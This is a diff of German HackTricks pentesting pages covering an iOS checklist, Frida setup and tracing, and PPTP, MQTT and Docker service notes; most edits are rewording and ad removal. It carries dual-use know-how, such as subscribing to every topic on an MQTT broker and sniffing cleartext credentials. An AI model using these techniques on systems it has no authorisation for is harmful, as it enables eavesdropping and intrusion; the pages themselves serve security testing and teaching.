* [ ] Überprüfen Sie, ob die Anwendung **eine sensible Aktion exponiert**, die von überall über das benutzerdefinierte Scheme aufgerufen werden kann.
|
||||
* [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] Überprüfen Sie, ob die Anwendung UIActivities empfangen kann und ob es möglich ist, eine Schwachstelle mit einer speziell gestalteten Aktivität auszunutzen.
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
|
||||
* [ ] Überprüfen Sie, ob die Anwendung **irgendetwas in die allgemeine Zwischenablage kopiert**.
|
||||
* [ ] Überprüfen Sie, ob die Anwendung **etwas in die allgemeine Zwischenablage kopiert**.
|
||||
* [ ] Überprüfen Sie, ob die Anwendung **Daten aus der allgemeinen Zwischenablage für irgendetwas verwendet**.
|
||||
* [ ] Überwachen Sie die Zwischenablage, um zu sehen, ob **sensible Daten kopiert werden**.
|
||||
* [**App-Erweiterungen**](ios-pentesting/ios-app-extensions.md)
|
||||
|
@ -119,12 +111,6 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
* [ ] Überprüfen Sie auf [**automatische Patching-/Aktualisierungs**](ios-pentesting/#hot-patching-enforced-updateing) Mechanismen.
|
||||
* [ ] Überprüfen Sie auf [**bösartige Drittanbieter-Bibliotheken**](ios-pentesting/#third-parties).
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,56 +1,42 @@
|
|||
# iOS Frida Konfiguration
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Frida installieren
|
||||
|
||||
**Schritte zur Installation von Frida auf einem Jailbroken-Gerät:**
|
||||
|
||||
1. Öffne die Cydia/Sileo-App.
|
||||
2. Navigiere zu Verwalten -> Quellen -> Bearbeiten -> Hinzufügen.
|
||||
3. Gib "https://build.frida.re" als URL ein.
|
||||
4. Gehe zur neu hinzugefügten Frida-Quelle.
|
||||
5. Installiere das Frida-Paket.
|
||||
1. Öffnen Sie die Cydia/Sileo-App.
|
||||
2. Navigieren Sie zu Verwalten -> Quellen -> Bearbeiten -> Hinzufügen.
|
||||
3. Geben Sie "https://build.frida.re" als URL ein.
|
||||
4. Gehen Sie zur neu hinzugefügten Frida-Quelle.
|
||||
5. Installieren Sie das Frida-Paket.
|
||||
|
||||
Wenn du **Corellium** verwendest, musst du die Frida-Version von [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) herunterladen (`frida-gadget-[deineversion]-ios-universal.dylib.gz`) und entpacken und an den von Frida angeforderten dylib-Speicherort kopieren, z.B.: `/Users/[deinbenutzer]/.cache/frida/gadget-ios.dylib`
|
||||
Wenn Sie **Corellium** verwenden, müssen Sie die Frida-Version von [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) herunterladen (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) und entpacken und an den von Frida angeforderten dylib-Standort kopieren, z.B.: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
|
||||
|
||||
Nach der Installation kannst du auf deinem PC den Befehl **`frida-ls-devices`** verwenden und überprüfen, ob das Gerät angezeigt wird (dein PC muss darauf zugreifen können).\
|
||||
Führe auch **`frida-ps -Uia`** aus, um die laufenden Prozesse des Telefons zu überprüfen.
|
||||
Nach der Installation können Sie auf Ihrem PC den Befehl **`frida-ls-devices`** verwenden und überprüfen, ob das Gerät angezeigt wird (Ihr PC muss darauf zugreifen können).\
|
||||
Führen Sie auch **`frida-ps -Uia`** aus, um die laufenden Prozesse des Telefons zu überprüfen.
|
||||
|
||||
## Frida ohne Jailbroken-Gerät & ohne Patchen der App
|
||||
|
||||
Überprüfe diesen Blogbeitrag darüber, wie man Frida auf nicht-jailbroken Geräten ohne Patchen der App verwendet: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
||||
Überprüfen Sie diesen Blogbeitrag, wie Sie Frida auf nicht-jailbroken Geräten ohne Patchen der App verwenden können: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
||||
|
||||
## Frida Client Installation
|
||||
|
||||
Installiere **frida tools**:
|
||||
Installieren Sie **frida tools**:
|
||||
```bash
|
||||
pip install frida-tools
|
||||
pip install frida
|
||||
|
@ -168,7 +154,7 @@ console.log("loaded");
|
|||
|
||||
### Frida Stalker
|
||||
|
||||
[Aus den Dokumenten](https://frida.re/docs/stalker/): Stalker ist Fridas **Code-Trace-Engine**. Es ermöglicht, Threads zu **verfolgen**, **jede Funktion**, **jeden Block** und sogar jede Anweisung, die ausgeführt wird, **aufzuzeichnen**.
|
||||
[Aus den Dokumenten](https://frida.re/docs/stalker/): Stalker ist Fridas **Code-Trace-Engine**. Es ermöglicht, Threads zu **verfolgen**, **jede Funktion**, **jeden Block** und sogar jede Anweisung, die ausgeführt wird, zu **erfassen**.
|
||||
|
||||
Sie haben ein Beispiel zur Implementierung von Frida Stalker in [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)
|
||||
|
||||
|
@ -206,7 +192,7 @@ Stalker.flush(); // this is important to get all events
|
|||
});
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Das ist interessant aus Debugging-Gründen, aber für Fuzzing ist es, ständig **`.follow()`** und **`.unfollow()`** zu verwenden, sehr ineffizient.
|
||||
Das ist interessant aus Debugging-Gründen, aber für Fuzzing ist es sehr ineffizient, ständig **`.follow()`** und **`.unfollow()`** zu verwenden.
|
||||
{% endhint %}
|
||||
|
||||
## [Fpicker](https://github.com/ttdennis/fpicker)
|
||||
|
@ -335,7 +321,7 @@ Um dies zu verhindern, könnten wir beispielsweise die App nach jedem Frida-Abst
|
|||
|
||||
Sie können die **macOS-Konsole** oder die **`log`**-CLI überprüfen, um die macOS-Protokolle zu überprüfen.\
|
||||
Sie können auch die Protokolle von iOS mit **`idevicesyslog`** überprüfen.\
|
||||
Einige Protokolle werden Informationen weglassen und **`<private>`** hinzufügen. Um alle Informationen anzuzeigen, müssen Sie ein Profil von [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) installieren, um diese privaten Informationen zu aktivieren.
|
||||
Einige Protokolle werden Informationen auslassen und **`<private>`** hinzufügen. Um alle Informationen anzuzeigen, müssen Sie ein Profil von [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) installieren, um diese privaten Informationen zu aktivieren.
|
||||
|
||||
Wenn Sie nicht wissen, was zu tun ist:
|
||||
```sh
|
||||
|
@ -374,29 +360,18 @@ iOS speichert nur 25 Abstürze der gleichen App, daher müssen Sie das bereinige
|
|||
|
||||
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,26 @@
|
|||
# 1723 - Pentesting PPTP
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
**Point-to-Point Tunneling Protocol (PPTP)** ist eine Methode, die häufig für den **Fernzugriff** auf mobile Geräte verwendet wird. Es nutzt **TCP-Port 1723** für den Austausch von Schlüsseln, während **IP-Protokoll 47** (Generic Routing Encapsulation oder **GRE**) verwendet wird, um die Daten zu verschlüsseln, die zwischen den Peers übertragen werden. Diese Einrichtung ist entscheidend für die Etablierung eines sicheren Kommunikationskanals über das Internet, um sicherzustellen, dass die ausgetauschten Daten vertraulich bleiben und vor unbefugtem Zugriff geschützt sind.
|
||||
**Point-to-Point Tunneling Protocol (PPTP)** ist eine Methode, die häufig für **Remote-Zugriff** auf mobile Geräte verwendet wird. Es nutzt **TCP-Port 1723** für den Austausch von Schlüsseln, während **IP-Protokoll 47** (Generic Routing Encapsulation oder **GRE**) verwendet wird, um die Daten zu verschlüsseln, die zwischen den Peers übertragen werden. Diese Konfiguration ist entscheidend für die Einrichtung eines sicheren Kommunikationskanals über das Internet, um sicherzustellen, dass die ausgetauschten Daten vertraulich bleiben und vor unbefugtem Zugriff geschützt sind.
|
||||
|
||||
**Standardport**: 1723
|
||||
**Standardport**:1723
|
||||
|
||||
## Enumeration
|
||||
```bash
|
||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
**MQ Telemetry Transport (MQTT)** ist bekannt als ein **Publish/Subscribe-Nachrichtenprotokoll**, das sich durch seine extreme Einfachheit und Leichtigkeit auszeichnet. Dieses Protokoll ist speziell für Umgebungen konzipiert, in denen Geräte über begrenzte Fähigkeiten verfügen und über Netzwerke betrieben werden, die durch niedrige Bandbreite, hohe Latenz oder unzuverlässige Verbindungen gekennzeichnet sind. Die Hauptziele von MQTT sind die Minimierung der Nutzung der Netzwerkbandbreite und die Reduzierung der Anforderungen an die Ressourcen der Geräte. Darüber hinaus zielt es darauf ab, eine zuverlässige Kommunikation aufrechtzuerhalten und ein gewisses Maß an Zustellgarantie zu bieten. Diese Ziele machen MQTT besonders geeignet für das aufstrebende Feld der **Machine-to-Machine (M2M)-Kommunikation** und das **Internet der Dinge (IoT)**, wo es entscheidend ist, eine Vielzahl von Geräten effizient zu verbinden. Darüber hinaus ist MQTT für mobile Anwendungen äußerst vorteilhaft, wo es wichtig ist, Bandbreite und Akkulaufzeit zu sparen.
|
||||
**MQ Telemetry Transport (MQTT)** ist bekannt als ein **Publish/Subscribe-Nachrichtenprotokoll**, das sich durch seine extreme Einfachheit und Leichtigkeit auszeichnet. Dieses Protokoll ist speziell für Umgebungen konzipiert, in denen Geräte über begrenzte Fähigkeiten verfügen und über Netzwerke betrieben werden, die durch niedrige Bandbreite, hohe Latenz oder unzuverlässige Verbindungen gekennzeichnet sind. Die Hauptziele von MQTT umfassen die Minimierung der Nutzung der Netzwerkbandbreite und die Reduzierung der Anforderungen an die Ressourcen der Geräte. Darüber hinaus zielt es darauf ab, eine zuverlässige Kommunikation aufrechtzuerhalten und ein gewisses Maß an Zustellgarantie zu bieten. Diese Ziele machen MQTT besonders geeignet für das aufstrebende Feld der **Machine-to-Machine (M2M)-Kommunikation** und des **Internet der Dinge (IoT)**, wo es entscheidend ist, eine Vielzahl von Geräten effizient zu verbinden. Darüber hinaus ist MQTT äußerst vorteilhaft für mobile Anwendungen, bei denen die Einsparung von Bandbreite und Akkulaufzeit von entscheidender Bedeutung ist.
|
||||
|
||||
**Standardport:** 1883
|
||||
```
|
||||
|
@ -57,7 +44,7 @@ Zum Beispiel, wenn der Broker die Verbindung aufgrund ungültiger Anmeldeinforma
|
|||
|
||||
**Die Authentifizierung ist völlig optional** und selbst wenn eine Authentifizierung durchgeführt wird, **wird standardmäßig keine Verschlüsselung verwendet** (Anmeldeinformationen werden im Klartext gesendet). MITM-Angriffe können weiterhin ausgeführt werden, um Passwörter zu stehlen.
|
||||
|
||||
Um eine Verbindung zu einem MQTT-Dienst herzustellen, können Sie verwenden: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) und sich selbst zu allen Themen anmelden, indem Sie:
|
||||
Um eine Verbindung zu einem MQTT-Dienst herzustellen, können Sie verwenden: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) und sich für alle Themen anmelden, indem Sie:
|
||||
```
|
||||
> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
|
||||
> subscribe "#" 1
|
||||
|
@ -106,8 +93,8 @@ von hier: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https
|
|||
|
||||
Das Publish/Subscribe-Modell besteht aus:
|
||||
|
||||
* **Publisher**: veröffentlicht eine Nachricht an ein (oder mehrere) Thema(en) im Broker.
|
||||
* **Subscriber**: abonniert ein (oder mehrere) Thema(en) im Broker und erhält alle Nachrichten, die vom Publisher gesendet werden.
|
||||
* **Publisher**: veröffentlicht eine Nachricht an ein (oder mehrere) Themen im Broker.
|
||||
* **Subscriber**: abonniert ein (oder mehrere) Themen im Broker und erhält alle Nachrichten, die vom Publisher gesendet werden.
|
||||
* **Broker**: leitet alle Nachrichten von den Publishern zu den Subscribern weiter.
|
||||
* **Thema**: besteht aus einem oder mehreren Ebenen, die durch einen Schrägstrich (z. B. /smartshouse/livingroom/temperature) getrennt sind.
|
||||
|
||||
|
@ -139,17 +126,6 @@ Jedes MQTT-Paket enthält einen festen Header (Abbildung 02). Abbildung 02: Fest
|
|||
|
||||
* `port:1883 MQTT`
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Ihr Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -1,45 +1,32 @@
|
|||
# 2375, 2376 Pentesting Docker
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Docker Grundlagen
|
||||
|
||||
#### Was ist
|
||||
|
||||
Docker ist die **führende Plattform** in der **Containerisierungsindustrie**, die **kontinuierliche Innovation** vorantreibt. Es erleichtert die mühelose Erstellung und Verteilung von Anwendungen, die von **traditionell bis futuristisch** reichen, und gewährleistet deren **sichere Bereitstellung** in verschiedenen Umgebungen.
|
||||
Docker ist die **führende Plattform** in der **Containerisierungsbranche**, die **kontinuierliche Innovation** vorantreibt. Es erleichtert die mühelose Erstellung und Verteilung von Anwendungen, die von **traditionell bis futuristisch** reichen, und gewährleistet deren **sichere Bereitstellung** in verschiedenen Umgebungen.
|
||||
|
||||
#### Grundlegende Docker-Architektur
|
||||
|
||||
* [**containerd**](http://containerd.io): Dies ist eine **Kernlaufzeit** für Container, die mit der umfassenden **Verwaltung des Lebenszyklus eines Containers** betraut ist. Dies umfasst die Handhabung von **Bildübertragung und -speicherung** sowie die Überwachung der **Ausführung, Überwachung und Vernetzung** von Containern. **Detailliertere Einblicke** in containerd werden **weiter erkundet**.
|
||||
* [**containerd**](http://containerd.io): Dies ist eine **Kernlaufzeit** für Container, die mit der umfassenden **Verwaltung des Lebenszyklus eines Containers** betraut ist. Dies umfasst die Handhabung von **Bildübertragung und -speicherung** sowie die Überwachung der **Ausführung, Überwachung und Vernetzung** von Containern. **Detailliertere Einblicke** in containerd werden **weiter untersucht**.
|
||||
* Der **container-shim** spielt eine entscheidende Rolle als **Vermittler** bei der Handhabung von **headless containers** und übernimmt nahtlos von **runc**, nachdem die Container initialisiert wurden.
|
||||
* [**runc**](http://runc.io): Geschätzt für seine **leichte und universelle Containerlaufzeit**-Fähigkeiten, ist runc mit dem **OCI-Standard** konform. Es wird von containerd verwendet, um **Container zu starten und zu verwalten** gemäß den **OCI-Richtlinien**, nachdem es sich aus dem ursprünglichen **libcontainer** entwickelt hat.
|
||||
